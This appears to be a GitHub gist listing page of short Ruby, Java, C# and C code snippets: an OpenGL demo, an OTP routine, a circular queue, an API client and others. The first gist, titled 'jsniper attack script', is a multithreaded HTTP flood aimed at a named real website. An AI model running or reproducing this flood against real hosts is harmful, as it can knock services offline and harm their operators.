Skip to content

Instantly share code, notes, and snippets.

@pjc0247
pjc0247 / gist:4944908
Created February 13, 2013 14:16
jsniper attack script
require 'net/http'
10.times do
Thread.new do
while true
uri = URI('http://jspiner.net/')
Net::HTTP.get(uri)
end
end
end
@pjc0247
pjc0247 / test_ping.rb
Created March 1, 2013 05:58
em performance test
require 'eventmachine'
require 'Win32API'
$t = Win32API.new("kernel32", "GetTickCount", nil, 'L')
$t.call()
class Packet
attr_accessor :id
attr_accessor :size
attr_accessor :data
@pjc0247
pjc0247 / teapot.rb
Last active December 14, 2015 12:48
Ruby-opengl
require 'opengl'
require 'glu'
require 'glut'
$x = 0
$y = 0
def onMove(x,y)
$x = x
$y = y
@pjc0247
pjc0247 / gen_random.rb
Created March 5, 2013 13:02
generate a random created string
def generate_random_string(length = 8)
buffer = String.new
for i in 0..length
rnd = rand(26 + 26 + 10)
case rnd
when 0..25
buffer << (rand(26) + 'a'.ord).chr
@pjc0247
pjc0247 / anz.library.meal.*.java
Last active December 14, 2015 15:09
클래스 이름 수정 MealLibrary -> Meal
package anz.library.meal;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.List;
import net.htmlparser.jericho.Element;
import net.htmlparser.jericho.Segment;
import net.htmlparser.jericho.Source;
@pjc0247
pjc0247 / SimpleOTP.rb
Last active December 16, 2015 13:38
Simple One-Time-Password implementation
# 현재 유닉스 타임을 얻어온다
def getCurrentUnixTime
Time.new.to_i
end
# 해당 유닉스 타임에 대한 타임 토큰을 계산한다
def getTimeToken(unix_time, token_size)
unix_time / token_size
end
@pjc0247
pjc0247 / Font.cs
Created April 29, 2013 00:13
Merona - a Simple PS VITA Game Framework Prototype
using System;
using System.Collections.Generic;
using System.Threading;
using System.Diagnostics;
using Sce.PlayStation.Core;
using Sce.PlayStation.Core.Graphics;
using Sce.PlayStation.Core.Imaging;
using Sce.PlayStation.Core.Environment;
using Sce.PlayStation.Core.Input;
@pjc0247
pjc0247 / CircularQueue.rb
Created May 4, 2013 01:00
Circular Queue implementation
class CircularQueue
def initialize(size = 32)
@data = Array.new
@size = size
@sp = 0
@ep = 0
end
def enqueue(data)
@pjc0247
pjc0247 / glsl.c
Created June 17, 2013 12:27
simple glsl test
char* filetobuf(char *file)
{
FILE *fptr;
long length;
char *buf;
fptr = fopen(file, "rb"); /* Open file for reading */
if (!fptr) /* Return NULL on failure */
return NULL;
fseek(fptr, 0, SEEK_END); /* Seek to the end of the file */
require 'net/http'
require 'net/http/persistent'
require 'json'
SERVER_PREFIX = "http://anz.previrtu.com/test/"
# 발급받는곳
# http://anz.previrtu.com/test/generate_app_token.php?name=app_name
CLIENT_ID = "c9b7a5b47fb09db8e9b4302ea86b32f0"